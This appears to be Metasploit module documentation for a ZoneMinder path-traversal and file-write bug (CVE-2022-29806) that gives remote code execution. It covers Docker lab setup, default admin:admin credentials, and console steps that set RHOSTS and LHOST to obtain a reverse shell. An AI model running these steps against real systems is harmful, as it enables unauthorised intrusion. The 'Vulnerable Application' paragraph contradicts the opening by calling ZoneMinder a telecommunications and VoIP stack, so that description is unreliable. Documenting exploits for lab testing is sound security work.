Description

This module exploits an arbitrary file write chained with a path traversal in the debug log file option in language settings that leads to a remote code execution in ZoneMinder surveillance software versions before 1.36.13 and before 1.37.11

More about the vulnerability detail: CVE-2022-29806.

The module will automatically use php/reverse_perl payload.

The module will check if authentication is enabled but Zoneminder does not enable the authentication by default.

Vulnerable Application

Zoneminder is a free and open-source software defined telecommunications stack for real-time communication, WebRTC, telecommunications, video, and Voice over Internet Protocol.

This module has been tested successfully on Zoneminder versions:

  • 1.36.4~64bit on Ubuntu 18.04
  • 1.34.23~64bit on Debian 11.10

Source and Installers

Docker installation

docker run -d --rm -ti -p 1080:80 \
    -e TZ='Europe/London' \
    --shm-size="512m" \
    --name zoneminder \
    zoneminderhq/zoneminder:latest-ubuntu18.04

Navigate to http://172.17.0.2/zm/index.php?view=privacy and click APPLY to activate the dashboard

Enable authentication

To enable authentication for verification and scenarios, follow these steps:

  1. Navigate to http://172.17.0.2/zm/index.php?view=options
  2. Tick the OPT_USE_AUTH option and click save
  3. Login with the default password admin:admin
  4. Navigate to http://172.17.0.2/zm/index.php?view=options&tab=users and change the admin password

Verification Steps

  1. Do: use exploit/unix/webapp/zoneminder_lang_exec
  2. Do: set RHOSTS [ips]
  3. Do: set LHOST [lhost]
  4. Do: run
  5. You should get a shell.

Options

USERNAME

The ZoneMinder username (default: admin)

PASSWORD

The ZoneMinder password (default: admin)
